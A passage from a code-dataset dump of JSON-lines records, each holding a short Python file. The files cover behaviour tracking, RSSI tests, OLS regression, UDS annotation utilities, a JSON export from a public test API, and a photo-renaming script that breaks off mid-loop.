np.array(self.estimate_behaviour_location_from_tracks(tracks))\n for sub_track in tracks:\n plt.plot(sub_track[:, 1], sub_track[:, 0], color=color)\n plt.scatter(pos[:, 1], pos[:, 0], color=color, zorder=100)\n return fig\n\n\nclass Track(object):\n\n def __init__(self, path):\n self.path = path\n\n @property\n def data(self):\n if not os.path.isfile(self.path):\n data = self.calculate_track() # TODO: write this function\n np.save(self.path)\n return np.load(self.path)\n\n def plot_track(self):\n plt.plot(self.data[:,1], self.data[:, 0])\n\n @property\n def distance(self):\n distances = np.linalg.norm(self.data - np.roll(self.data, 1, axis=0), axis=1)\n total_distance_travelled = sum(distances)\n return total_distance_travelled\n\n\ndef get_frequently_occurring_behaviours(labels, threshold=30):\n behaviour_frames = {}\n for idx in np.unique(labels):\n frames_in_group = np.where(labels == idx)\n n_frames_in_group = len(frames_in_group[0])\n if n_frames_in_group > threshold:\n behaviour_frames.setdefault(idx, frames_in_group)\n return behaviour_frames\n\n\ndef extract_consecutive_frame_regions(behaviour_frames):\n mask = np.diff(behaviour_frames) > 1\n absolute_behaviour_units = []\n behaviour_units = []\n behaviour_chunk = []\n for i, item in enumerate(mask):\n\n if item:\n behaviour_chunk.append(i)\n if len(behaviour_chunk) > 1:\n behaviour_units.append(behaviour_chunk)\n absolute_chunk = behaviour_frames[behaviour_chunk]\n absolute_behaviour_units.append(absolute_chunk)\n behaviour_chunk = []\n\n if not item:\n behaviour_chunk.append(i)\n\n return behaviour_units, absolute_behaviour_units\n\n\n","sub_path":"find_shapes/rat_track/moseq/behavioural_analysis.py","file_name":"behavioural_analysis.py","file_ext":"py","file_size_in_byte":8111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"300199568","text":"import unittest\nimport rssiCalculation\n\n\nclass RssiCalculationTestCase(unittest.TestCase):\n def test_rssi_calculation_for_calibration_distance(self):\n txPower = 60\n calibrateDistance = 1\n self.assertEqual(rssiCalculation.distanceToRssi(txPower, calibrateDistance), txPower)\n\n def test_round_trip(self):\n txPower = 60\n distance = 77\n rssi = rssiCalculation.distanceToRssi(txPower, distance)\n distanceTrip = rssiCalculation.rssiToDistance(txPower, rssi)\n self.assertAlmostEqual(distance, distanceTrip)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"beacon/rssiCalculationTest.py","file_name":"rssiCalculationTest.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"119617673","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport matplotlib.colors as mcolors\nimport matplotlib.collections as mcoll\nimport time\n\n\nfig, ax = plt.subplots()\ncmap = mcolors.ListedColormap(['white', 'black'])\nbounds = [-0.5, 0.5, 1.5]\nnorm = mcolors.BoundaryNorm(bounds, cmap.N)\ndata = np.random.rand(10, 10) * 2 - 0.5\nim = ax.imshow(data, cmap=cmap, norm=norm)\n\ngrid = np.arange(-0.5, 11, 1)\nxmin, xmax, ymin, ymax = -0.5, 10.5, -0.5, 10.5\nlines = ([[(x, y) for y in (ymin, ymax)] for x in grid]\n + [[(x, y) for x in (xmin, xmax)] for y in grid])\ngrid = mcoll.LineCollection(lines, linestyles='solid', linewidths=2,\n color='teal')\nax.add_collection(grid)\n\ndef animate(i):\n\tprint(time.strftime(\"%H-%M-%S\"))\n\tdata = np.random.rand(10, 10) * 2 - 0.5\n\tim.set_data(data)\n\t# return a list of the artists that need to be redrawn\n\treturn [im, grid]\n\nanim = animation.FuncAnimation(\n\t\tfig, animate, frames=200, interval=0, blit=True, repeat=False)\nplt.show()","sub_path":"jarvis/navigation/slam/work_bench/updating_grid_map_v1.py","file_name":"updating_grid_map_v1.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"475798650","text":"import numpy as np\nfrom numpy.linalg import matrix_rank\n\ndef ols(y, X):\n\n \"\"\"\n This is THE BEST ols.\n\n Parameters\n ----------\n y : np.array((N, 1), float64)\n N by 1 response vector\n X : np.array((N, K), float64)\n N by K covariate matrix\n\n Returns\n -------\n beta : np.array((K, 1), float64)\n OLS coefficients\n se : np.array((K, 1), float64)\n standard errors of the coefficients\n \"\"\"\n\n Xp = X.T\n XpX = Xp@X\n Xpy = Xp@y\n\n if np.linalg.det(XpX) == 0:\n raise Exception('XpX Matrix is singular')\n\n β = calc_beta(y, XpX, Xpy)\n se, vcv = calc_vcv(y, X, β, XpX)\n\n return β, se, vcv\n\n\ndef calc_beta(y, XpX, Xpy):\n\n \"\"\"\n Uses normal equations to calculate OLS coefficients.\n\n Parameters\n ----------\n y : np.array((N, 1), float64)\n N by 1 response vector\n XpX : np.array((K, K), float64)\n X transpose X\n\n Returns\n -------\n beta : np.array((K, 1), float64)\n Vector of OLS coefficients\n \"\"\"\n\n XpX.shape\n\n β = np.linalg.inv(XpX)@Xpy\n return β\n\ndef calc_mean_se(y, X, β):\n\n \"\"\"\n Calculates mean squared error\n\n Parameters\n ----------\n y : np.array((N, 1), float64)\n N by 1 response vector\n X : np.array((N, K), float64)\n Covariate matrix.\n beta : np.array((K, 1), float64)\n OLS coefficients\n\n Returns\n -------\n mean_se : float64\n Mean squared error\n \"\"\"\n\n pred = X@β\n resid = y - pred\n sse = sum(resid**2)[0]\n N = X.shape[0]\n K = X.shape[1]\n mean_se = sse/(N - K)\n return mean_se\n\ndef calc_vcv(y, X, β, XpX):\n\n \"\"\"\n Calculates standard errors\n\n Parameters\n ----------\n y : np.array((N, 1), float64)\n N by 1 response vector\n X : np.array((N, K), float64)\n Covariate matrix.\n beta : np.array((K, 1), float64)\n OLS coefficients\n XpX : np.array((K, K), float64)\n X transpose X\n\n Returns\n -------\n se : np.array((K, 1), float64)\n Standard errors of OLS estimates\n vcv: np.array((K, K), float64)\n Covariance Matrix\n \"\"\"\n\n mean_se = calc_mean_se(y, X, β)\n vcv = mean_se*np.linalg.inv(XpX)\n se = np.sqrt(np.diag(vcv))\n return se, vcv\n","sub_path":"Projects/project_2_packages/wethebestOLS/wethebestOLS/ols.py","file_name":"ols.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"512244458","text":"# -*- coding: utf-8 -*-\nimport sys\nsys.setrecursionlimit(10000)\nr1 = lambda: sys.stdin.readline().replace('\\n', '')\n\n\ndef dfs(start):\n for next in a[start]:\n if not check[next]:\n # depth[next] = depth[start] + 1\n parents[next] = start\n\n\nv = int(r1())\na= [[] for _ in range(v+1)]\nfor _ in range(v-1):\n i, j = map(int, r1().split())\n a[i].append(j)\n a[j].append(i)\n\nparents = [0] * (v+1)\ncheck = [0] * (v+1)\n\nfor idx in range(1,v+1):\n if not check[idx]:\n check[idx] = 1\n dfs(idx)\n\nfor i in range(2,len(a)):\n print(parents[i])\n","sub_path":"backjun/tree_11725/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"591642793","text":"import inspect\nimport numpy as np\nimport pandas as pd\nimport os\nimport torch\n\nfrom collections import defaultdict, OrderedDict, Callable\nfrom decomp import UDSCorpus, RawUDSAnnotation\nfrom decomp.semantics.uds import UDSSentenceGraph\nfrom enum import Enum\nfrom event_type_induction.constants import *\nfrom glob import glob\nfrom itertools import product\nfrom pkg_resources import resource_filename\nfrom typing import Any, Dict, Generator, Iterable, Iterator, List, Optional, Set, Tuple\n\n\nclass AllenRelation(Enum):\n E1_PRECEDES_E2 = 1\n E2_PRECEDES_E1 = 2\n E1_MEETS_E2 = 3\n E2_MEETS_E1 = 4\n E1_OVERLAPS_E2 = 5\n E2_OVERLAPS_E1 = 6\n E1_STARTS_E2 = 7\n E2_STARTS_E1 = 8\n E1_DURING_E2 = 9\n E2_DURING_E1 = 10\n E1_FINISHES_E2 = 11\n E2_FINISHES_E1 = 12\n E1_EQUALS_E2 = 13\n\n\ndef exp_normalize(t: torch.Tensor, dim=None) -> torch.Tensor:\n \"\"\"Normalizes a tensor of log values using the exp-normalize trick:\n https://timvieira.github.io/blog/post/2014/02/11/exp-normalize-trick/\n \"\"\"\n if dim is not None:\n t2 = torch.exp(t - t.max(dim).values)\n return torch.log(t2 / t2.sum(dim))\n else:\n t2 = torch.exp(t - t.max())\n return torch.log(t2 / t2.sum())\n\n\ndef logit(t: torch.FloatTensor) -> torch.FloatTensor:\n return torch.log(t / (1 - t))\n\n\ndef load_pred_node_annotator_ids(uds: UDSCorpus) -> Set[str]:\n # predicate nodoe subspaces: time, genericity, factuality, event_structure\n pred_node_annotators = set()\n for subspace in PREDICATE_NODE_SUBSPACES:\n subspace_annotators = uds.metadata.sentence_metadata.annotators(subspace)\n if subspace == \"genericity\":\n # filter down to only predicate node genericity annotators\n subspace_annotators = {a for a in subspace_annotators if \"pred\" in a}\n pred_node_annotators = pred_node_annotators.union(subspace_annotators)\n return pred_node_annotators\n\n\ndef load_arg_node_annotator_ids(uds: UDSCorpus) -> Set[str]:\n # argument node subspaces: genericity, wordsense\n arg_node_annotators = set()\n for subspace in ARGUMENT_NODE_SUBSPACES:\n subspace_annotators = uds.metadata.sentence_metadata.annotators(subspace)\n if subspace == \"genericity\":\n # filter down to only argument node genericity annotators\n subspace_annotators = {a for a in subspace_annotators if \"arg\" in a}\n arg_node_annotators = arg_node_annotators.union(subspace_annotators)\n return arg_node_annotators\n\n\ndef load_sem_edge_annotator_ids(uds: UDSCorpus) -> Set[str]:\n # semantics edge subspaces: protoroles, distributivity\n sem_edge_annotators = set()\n for subspace in SEMANTICS_EDGE_SUBSPACES:\n subspace_annotators = uds.metadata.sentence_metadata.annotators(subspace)\n sem_edge_annotators = sem_edge_annotators.union(subspace_annotators)\n return sem_edge_annotators\n\n\ndef load_doc_edge_annotator_ids(uds: UDSCorpus) -> Set[str]:\n return uds.metadata.document_metadata.annotators()\n\n\ndef load_train_annotators(uds: UDSCorpus) -> Set[str]:\n \"\"\"Return all the annotators in the UDS train split\"\"\"\n train_annotators = set()\n excluded_subspaces = {\"domain\", \"type\", \"frompredpatt\", \"id\"}\n for sent, graph in uds.items():\n if \"train\" not in sent:\n continue\n for node_anno in graph.semantics_nodes.values():\n subspaces = node_anno.keys() - excluded_subspaces\n for subspace in subspaces:\n for prop, prop_anno in node_anno[subspace].items():\n train_annotators = train_annotators.union(prop_anno[\"value\"].keys())\n for edge_anno in graph.semantics_edges().values():\n subspaces = edge_anno.keys() - excluded_subspaces\n for subspace in subspaces:\n for prop, prop_anno in edge_anno[subspace].items():\n train_annotators = train_annotators.union(prop_anno[\"value\"].keys())\n\n for doc, graph in uds.documents.items():\n is_train = \"train\" in list(graph.sentence_ids)[0]\n if not is_train:\n continue\n for edge, edge_anno in graph.document_graph.edges().items():\n subspaces = edge_anno.keys() - excluded_subspaces\n for subspace in subspaces:\n for prop, prop_anno in edge_anno[subspace].items():\n train_annotators = train_annotators.union(prop_anno[\"value\"].keys())\n\n return train_annotators\n\n\ndef load_annotator_ids(uds: UDSCorpus, train_only: bool = False) -> Tuple[Set[str]]:\n \"\"\"Fetch all of the annotator IDs from an annotated UDS corpus\n\n Parameters\n ----------\n uds\n The UDSCorpus object from which annotator IDs are to\n be extracted\n train_only\n Indicates whether only train annotators should be included\n \"\"\"\n\n pred_node_annotators = load_pred_node_annotator_ids(uds)\n arg_node_annotators = load_arg_node_annotator_ids(uds)\n sem_edge_annotators = load_sem_edge_annotator_ids(uds)\n doc_edge_annotators = load_doc_edge_annotator_ids(uds)\n\n if train_only:\n all_train_annotators = load_train_annotators(uds)\n pred_node_annotators = pred_node_annotators.intersection(all_train_annotators)\n arg_node_annotators = arg_node_annotators.intersection(all_train_annotators)\n sem_edge_annotators = sem_edge_annotators.intersection(all_train_annotators)\n doc_edge_annotators = doc_edge_annotators.intersection(all_train_annotators)\n\n return (\n pred_node_annotators,\n arg_node_annotators,\n sem_edge_annotators,\n doc_edge_annotators,\n )\n\n\ndef get_documents_by_split(uds: UDSCorpus) -> Dict[str, Set[str]]:\n \"\"\"Get sets of UDS document IDs based on their split\n\n This is really a utility UDS should provide on its own.\n\n Parameters\n ----------\n uds\n The UDSCorpus object from which document IDs are\n to be extracted\n \"\"\"\n splits = defaultdict(set)\n for doc_id, doc in uds.documents.items():\n sample_sentence = list(doc.sentence_ids)[0]\n split = sample_sentence.split(\"-\")[1]\n splits[split].add(doc_id)\n return splits\n\n\ndef get_item_iter(graph: UDSSentenceGraph, t: Type) -> Iterator:\n \"\"\"Returns an iterator over sentence graph nodes or edges\"\"\"\n if t == Type.EVENT:\n return sorted(graph.predicate_nodes.items())\n elif t == Type.PARTICIPANT:\n return sorted(graph.argument_nodes.items())\n elif t == Type.ROLE:\n return sorted(graph.semantics_edges().items())\n else:\n raise ValueError(f\"Unknown type {t}!\")\n\n\ndef get_sentence_property_means(\n uds: UDSCorpus, data: List[str], t: Type, use_ordinal: bool = False\n) -> Dict[str, np.ndarray]:\n \"\"\"Get the mean annotation for all properties for a given type\"\"\"\n annotations_by_property = defaultdict(list)\n meta = uds.metadata.sentence_metadata\n\n if t == Type.EVENT:\n duration_to_category = {\n cat: idx\n for idx, cat in enumerate(meta[\"time\"][\"duration\"].value.categories)\n }\n\n for sname in data:\n graph = uds[sname]\n for item, anno in get_item_iter(graph, t):\n for subspace in SUBSPACES_BY_TYPE[t]:\n for p in meta.properties(subspace):\n if (t == Type.EVENT and \"arg\" in p) or (\n t == Type.PARTICIPANT and \"pred\" in p\n ):\n continue\n prop_dim = get_prop_dim(meta, subspace, p, use_ordinal)\n if subspace in anno and p in anno[subspace]:\n for a, value in anno[subspace][p][\"value\"].items():\n vec = np.zeros(prop_dim)\n conf = anno[subspace][p][\"confidence\"][a]\n # None value --> \"does not apply\"\n if value is None:\n assert (\n p in CONDITIONAL_PROPERTIES\n ), f\"unexpected None value for property {p}\"\n if (\n use_ordinal\n and meta[subspace][p].value.is_ordered_categorical\n ):\n # Maybe ignore these?\n n_categories = len(\n meta[subspace][p].value.categories\n )\n val = n_categories // 2\n else:\n val = prop_dim - 1\n # Only duration annotations are string-valued\n elif isinstance(value, str):\n assert (\n p == \"duration\"\n ), f\"unexpected string value for property {p}\"\n val = duration_to_category[value]\n # Protoroles uses confidence to indicate whether the\n # property applies or not\n elif subspace == \"protoroles\":\n if conf == 0:\n # n_categories // 2 == 2 for protoroles; Aaron suggested 3...\n # alternative is to exclude these cases from consideration\n # when computing means\n n_categories = len(\n meta[subspace][p].value.categories\n )\n val = (\n n_categories // 2\n if use_ordinal\n else prop_dim - 1\n )\n else:\n val = value\n else:\n val = value\n\n if prop_dim == 1: # binary or ordinal\n if not meta[subspace][p].value.is_ordered_categorical:\n assert (\n val == 0 or val == 1\n ), f\"non-binary value for binary property {p}\"\n vec[0] = val\n else: # categorical\n vec[val] = 1\n\n annotations_by_property[p].append(vec)\n\n return {p: np.mean(v, axis=0) for p, v in annotations_by_property.items()}\n\n\ndef load_event_structure_annotations(uds: UDSCorpus) -> None:\n \"\"\"Loads the UDS-EventStructure annotations\n\n These annotations are not included in v0.1.0 of UDS and\n must therefore be loaded after the corpus has been initialized\n\n Parameters\n ----------\n uds\n The UDSCorpus object into which the annotations will\n be loaded\n \"\"\"\n data_dir = resource_filename(\"event_type_induction\", \"data\")\n mereology = RawUDSAnnotation.from_json(os.path.join(data_dir, \"mereology.json\"))\n distributivity = RawUDSAnnotation.from_json(\n os.path.join(data_dir, \"distributivity.json\")\n )\n natural_parts = RawUDSAnnotation.from_json(\n os.path.join(data_dir, \"natural_parts_and_telicity_corrected.json\")\n )\n\n # arguments are (sentence_annotations, document_annotations)\n uds.add_annotation([natural_parts, distributivity], [mereology])\n\n\ndef get_allen_relation(\n e1_start: int, e1_end: int, e2_start: int, e2_end: int\n) -> AllenRelation:\n \"\"\"Determines an Allen relation given two event durations\"\"\"\n if e1_start == e2_start:\n if e1_end == e2_end:\n return AllenRelation.E1_EQUALS_E2\n elif e1_end > e2_end:\n return AllenRelation.E2_STARTS_E1\n else:\n return AllenRelation.E1_STARTS_E2\n elif e1_start < e2_start:\n if e1_end == e2_start:\n return AllenRelation.E1_MEETS_E2\n elif e1_end < e2_start:\n return AllenRelation.E1_PRECEDES_E2\n elif e1_end == e2_end:\n return AllenRelation.E2_FINISHES_E1\n elif e1_end > e2_end:\n return AllenRelation.E2_DURING_E1\n else:\n return AllenRelation.E1_OVERLAPS_E2\n else: # e1_start > e2_start\n if e2_end == e2_start:\n return AllenRelation.E2_MEETS_E1\n elif e2_end < e2_start:\n return AllenRelation.E2_PRECEDES_E1\n elif e2_end == e1_end:\n return AllenRelation.E1_FINISHES_E2\n elif e2_end > e1_end:\n return AllenRelation.E1_DURING_E2\n else:\n return AllenRelation.E2_OVERLAPS_E1\n\n\ndef ridit_score_confidence(\n uds: UDSCorpus, sents: Set[str] = None, docs: Set[str] = None\n) -> Dict[str, Dict[int, float]]:\n \"\"\"Ridit score confidence values for each annotator\n\n TODO: generate ridit scores for all possible confidence values\n ensure correctness\n\n Parameters\n ----------\n uds\n The UDSCorpus\n sents\n The sentences to use for the ridit-scoring calculation\n docs\n The documents to use for the ridit-scoring calculation\n \"\"\"\n\n def ridit(x: Iterable) -> Dict[int, float]:\n \"\"\" Apply ridit scoring\n\n Parameters\n ----------\n x\n The values to be ridit scored\n \"\"\"\n x_vals = set(x)\n x_flat = np.array(x, dtype=int).flatten()\n x_shift = x_flat - x_flat.min() # bincount requires nonnegative ints\n\n bincounts = np.bincount(x_shift)\n props = bincounts / bincounts.sum()\n\n cumdist = np.cumsum(props)\n cumdist[-1] = 0.0 # this looks odd but is right\n\n ridit_map = {\n val: cumdist[i - 1] + p / 2 for val, (i, p) in zip(x_vals, enumerate(props))\n }\n return ridit_map\n\n # def get_ridit_map(ridit_map: Dict[int, float]) -> Dict[int, float]:\n # prev_val = 0.\n # max_conf = max(ridit_map)\n # for i in range(N_CONFIDENCE_SCORES):\n # if i > max_conf:\n # pass\n\n # Determine sentence- and document-level graphs for the split\n # (There should really be a UDS function to do this)\n if sents is None:\n split_sentence_graphs = uds.graphs\n else:\n split_sentence_graphs = {name: uds[name] for name in uds if name in sents}\n if docs is None:\n split_doc_graphs = uds.documents\n else:\n split_doc_graphs = {\n name: uds.documents[name] for name in uds.documents if name in docs\n }\n\n # Semantics node and edge properties\n annotator_confidences = defaultdict(list)\n for graphid, graph in split_sentence_graphs.items():\n for edge, edge_annotation in graph.semantics_edges().items():\n for subspace, properties in edge_annotation.items():\n if isinstance(properties, dict):\n for prop in properties.keys():\n for annotator, confidence in properties[prop][\n \"confidence\"\n ].items():\n if confidence is not None:\n annotator_confidences[annotator].append(confidence)\n for sem_node in edge:\n sem_node_annotation = graph.semantics_nodes[sem_node]\n for subspace, properties in sem_node_annotation.items():\n # Special case: wordsense has no confidence scores\n if subspace == \"wordsense\":\n continue\n if isinstance(properties, dict):\n for prop in properties.keys():\n for annotator, confidence in properties[prop][\n \"confidence\"\n ].items():\n if confidence is not None:\n annotator_confidences[annotator].append(confidence)\n\n # Document edge properties\n for doc in split_doc_graphs.values():\n for doc_edge_annotation in doc.document_graph.edges.values():\n for subspace, properties in doc_edge_annotation.items():\n if isinstance(properties, dict):\n for prop in properties.keys():\n for annotator, confidence in properties[prop][\n \"confidence\"\n ].items():\n if confidence is not None:\n annotator_confidences[annotator].append(confidence)\n\n for annotator, confidences in annotator_confidences.items():\n try:\n ridit(confidences)\n except TypeError as te:\n print(f\"error: {te}\")\n print(f\"annotator: {annotator}\")\n print(f\"confidences: {confidences}\")\n return\n\n return {\n annotator: ridit(confidences)\n for annotator, confidences in annotator_confidences.items()\n }\n\n\ndef get_prop_dim(\n metadata: \"UDSAnnotationMetadata\",\n subspace: str,\n prop: str,\n use_ordinal: bool = False,\n):\n \"\"\"Determines the appropriate dimension for a UDS property\"\"\"\n prop_data = metadata.metadata[subspace][prop].value\n if prop_data.is_categorical:\n n_categories = len(prop_data.categories)\n # if ordinal values are *treated* ordinally (instead of\n # as categorical variables), the dimension is always 1\n if prop_data.is_ordered_categorical and use_ordinal:\n return 1\n # conditional categorical properties require an\n # additional dimension for the \"does not apply\" case\n elif prop in CONDITIONAL_PROPERTIES:\n return n_categories + 1\n # non-conditional, ordinal categorical properties\n elif prop_data.is_ordered_categorical:\n return n_categories\n # non-conditional, binary categorical properties\n else:\n return n_categories - 1\n # currently no non-categorical properties in UDS\n else:\n raise ValueError(\n f\"Non-categorical property {property} found in subspace {subspace}\"\n )\n\n\ndef parameter_grid(param_dict: Dict[str, Any]):\n \"\"\"Generator for training hyperparameter grid\n\n Parameters\n ----------\n param_dict\n Dictionary containing the hyperparameters and their possible values\n \"\"\"\n ks = list(param_dict.keys())\n vlists = []\n for k, v in param_dict.items():\n if isinstance(v, dict):\n vlists.append(parameter_grid(v))\n elif isinstance(v, list):\n vlists.append(v)\n else:\n errmsg = (\n \"param_dict must be a dictionary contining lists or \"\n \"recursively other param_dicts\"\n )\n raise ValueError(errmsg)\n for configuration in product(*vlists):\n yield dict(zip(ks, configuration))\n\n\ndef save_model(data_dict, ckpt_dir, file_name):\n if not os.path.isdir(ckpt_dir):\n os.makedirs(ckpt_dir)\n ckpt_path = os.path.join(ckpt_dir, file_name)\n torch.save(data_dict, ckpt_path)\n return ckpt_path\n\n\ndef save_model_with_args(params, model, initargs, ckpt_dir, file_name):\n filtered_args = {}\n for p in inspect.signature(model.__class__.__init__).parameters:\n if p in initargs:\n filtered_args[p] = initargs[p]\n ckpt_dict = dict(\n params, **{\"state_dict\": model.state_dict(), \"curr_hyper\": filtered_args}\n )\n return save_model(ckpt_dict, ckpt_dir, file_name)\n\n\ndef load_model_with_args(\n cls, ckpt_path: str, overrides: Optional[Dict[str, Any]] = None\n):\n ckpt_dict = torch.load(ckpt_path)\n hyper_params = ckpt_dict.get(\"curr_hyper\", {})\n\n # Model has to be loaded with a UDSCorpus object\n uds = UDSCorpus(version=\"2.0\", annotation_format=\"raw\")\n load_event_structure_annotations(uds)\n hyper_params[\"uds\"] = uds\n hyper_params.update(overrides)\n\n model = cls(**hyper_params)\n if \"state_dict\" in ckpt_dict:\n model.load_state_dict(ckpt_dict[\"state_dict\"])\n else:\n model.load_state_dict(ckpt_dict)\n return model, hyper_params\n\n\ndef dump_params(\n outfile: str, mus: torch.nn.ParameterDict, covs: torch.nn.ParameterDict = None\n) -> None:\n # create dataframe with components as rows and properties\n # as columns. Each dimension of a categorical property gets\n # its own column.\n df = pd.DataFrame()\n for prop, mean in mus.items():\n if mean.shape[-1] == 1: # binary or ordinal property\n df[prop] = mean[:, 0].detach().cpu().numpy()\n elif len(mean.shape) == 1: # binary or ordinal property\n df[prop] = mean.detach().cpu().numpy()\n else: # nominal property\n for i in range(mean.shape[-1]):\n df[prop + f\"-dim-{i+1}\"] = mean[:, i].detach().cpu().numpy()\n\n # write to file\n with open(outfile, \"w\") as f:\n df.to_csv(outfile, index=False)\n\n\ndef dump_mmm_posteriors(\n outfile: str,\n train_posteriors: torch.FloatTensor,\n train_idx_to_item: defaultdict(str),\n dev_posteriors: torch.FloatTensor,\n dev_idx_to_item: defaultdict(str),\n) -> None:\n \"\"\"Saves per-item posteriors from MMM clustering to a file\"\"\"\n item_names = []\n posteriors = []\n for i, (idx, item) in enumerate(train_idx_to_item.items()):\n if item:\n item_names.append(item)\n posteriors.append(train_posteriors[:, i].tolist())\n for i, (idx, item) in enumerate(dev_idx_to_item.items()):\n if item:\n item_names.append(item)\n posteriors.append(dev_posteriors[:, i].tolist())\n posteriors = np.array(posteriors)\n df = pd.DataFrame()\n df[\"item_name\"] = item_names\n for i in range(posteriors.shape[1]):\n df[\"posterior-cluster-\" + str(i)] = posteriors[:, i]\n\n with open(outfile, \"w\") as f:\n df.to_csv(outfile, index=False)\n\n\ndef dump_fg_posteriors(\n outfile: str, doc_posteriors: Dict[str, torch.FloatTensor], t: Type, n_types: int\n) -> None:\n \"\"\"Saves per-item posteriors from factor graph clustering to a file\n \n TODO: fix so that these are dumped in an appropriate format (e.g. '%%' for edges)\n \"\"\"\n all_cols = [\"item\"]\n all_cols.extend([\"type\" + str(i) for i in range(n_types)])\n all_rows = []\n type_name = t.name.lower()\n\n # Collect per-item posteriors\n for doc, item_posteriors in doc_posteriors.items():\n for item, posterior in item_posteriors.items():\n if type_name not in item:\n continue\n row = [item]\n row.extend([p.item() for p in posterior])\n all_rows.append(row)\n\n # Write to file\n df = pd.DataFrame(all_rows, columns=all_cols)\n with open(outfile, \"w\") as f:\n df.to_csv(outfile, index=False)\n\n\nclass DefaultOrderedDict(OrderedDict):\n # Source: http://stackoverflow.com/a/6190500/562769\n def __init__(self, default_factory=None, *a, **kw):\n if default_factory is not None and not isinstance(default_factory, Callable):\n raise TypeError(\"first argument must be callable\")\n OrderedDict.__init__(self, *a, **kw)\n self.default_factory = default_factory\n\n def __getitem__(self, key):\n try:\n return OrderedDict.__getitem__(self, key)\n except KeyError:\n return self.__missing__(key)\n\n def __missing__(self, key):\n if self.default_factory is None:\n raise KeyError(key)\n self[key] = value = self.default_factory()\n return value\n\n def __reduce__(self):\n if self.default_factory is None:\n args = tuple()\n else:\n args = (self.default_factory,)\n return type(self), args, None, None, self.items()\n\n def copy(self):\n return self.__copy__()\n\n def __copy__(self):\n return type(self)(self.default_factory, self)\n\n def __deepcopy__(self, memo):\n import copy\n\n return type(self)(self.default_factory, copy.deepcopy(self.items()))\n\n def __repr__(self):\n return \"OrderedDefaultDict(%s, %s)\" % (\n self.default_factory,\n OrderedDict.__repr__(self),\n )\n","sub_path":"event_type_induction/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":24225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"123180144","text":"import sys\nimport json\n\n# read file \ndef read_file(file_name):\n with open(file_name) as f:\n return f.readlines()\n \n \n\"\"\"\ns1,18,aaa,linux\ns2,38,bbb,python\nteacher,16,alex\n\"\"\"\n# handle data\ndef handle_data(data):\n result = {}\n student = []\n teacher={}\n for line in data:\n print(line)\n student_dict = {}\n if line.startswith('s'):\n line = line.strip().split(',')\n print(line)\n # s = {}\n # s['age'] = line[1]\n # s['name'] = line[2]\n # s['study'] = line[3]\n s = dict([('age', line[1]), ('name', line[2]), ('study', line[3])])\n student_dict[line[0]] = s\n student.append(student_dict)\n else:\n t={}\n line = line.strip().split(',')\n t['age'] = line[1]\n t['name'] = line[2]\n result['teacher'] = t\n result['student'] = student\n return result\n\ndef json_out(dic):\n f = file('01todo.json', 'w')\n json.dump(dic, f, sort_keys=True, indent=4, separators=(',', ': '))\n f.close()\n\ndef main():\n data = read_file('01todo')\n result = handle_data(data)\n print(result)\n json_out(result)\n\nif __name__ == '__main__':\n main()","sub_path":"filesOper/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"64610927","text":"#!/usr/bin/python3\n\"\"\" Task 2 \"\"\"\nimport requests\nfrom sys import argv\nfrom json import dump\n\nif __name__ == \"__main__\":\n url_todo = 'https://jsonplaceholder.typicode.com/users/{}/todos'.format(\n argv[1])\n url_user = 'https://jsonplaceholder.typicode.com/users/{}'.format(argv[1])\n todo_response = requests.get(url_todo)\n user_response = requests.get(url_user)\n todo_json = todo_response.json()\n username = user_response.json().get('username')\n\n task_list = []\n todo_dict = {}\n\n for i in todo_json:\n task_dict = {}\n task_dict['task'] = i.get('title')\n task_dict['completed'] = i.get('completed')\n task_dict['username'] = username\n task_list.append(task_dict)\n\n todo_dict[argv[1]] = task_list\n\n with open('{}.json'.format(argv[1]), 'w') as f:\n dump(todo_dict, f)\n","sub_path":"0x15-api/2-export_to_JSON.py","file_name":"2-export_to_JSON.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"403660780","text":"'''\nThis script is used to convert images to numpy arrays\n'''\n\nfrom scipy.misc import imread\nimport numpy as np\n\npath = '../imgset/'\nlabels = ('Liu', 'Ouyang', 'Wei', 'Yan')\n\nfor label in labels:\n matrix = np.array(list(map(lambda x: imread(\n path + label + '/' + str(x) + '.png'), range(2876))))\n np.save(label, matrix)\n print('%s is saved' % label)\n print(matrix.shape)\n","sub_path":"keras/toarray.py","file_name":"toarray.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"434466953","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nimport time\nimport os\nimport shutil\n\n# fasi:\n# 1) rinominare foto in base a cartella \"lettera\" e cartelle \"front\",\"top\", ecc\n# 2) spostare le foto rinominate nelle cartella \"lettera\"\n# 3) resizare tutte le foto all'interno delle cartelle \"lettera\"\n\nINITIAL_FOLDER = \"../../../FotoGualandi da organizzare/Nuova organizzazione/fase 0/Mike31-01\"\nFINAL_FOLDER = \"../../../FotoGualandi da organizzare/Nuova organizzazione/fase 1/Mike31-01\"\nNAME = \"MIKE\"\n \n# 1)\ndef rename(folder, name):\n print(\"____________________________________RENAMING___________________________________\")\n # scorro cartelle \"lettera\"\n for dir in os.listdir(folder):\t\n print(\"dir: \", dir)\n n = 0\n # scorro cartelle \"posizione\"\n for subdir in os.listdir(folder+\"/\"+dir):\n print(\"subdir: \", subdir)\n # scorro file \"immagine\"\n for filename in os.listdir(folder+\"/\"+dir+\"/\"+subdir):\n print(\"filename:\", filename)\n n = n + 1\t\t\t\n # 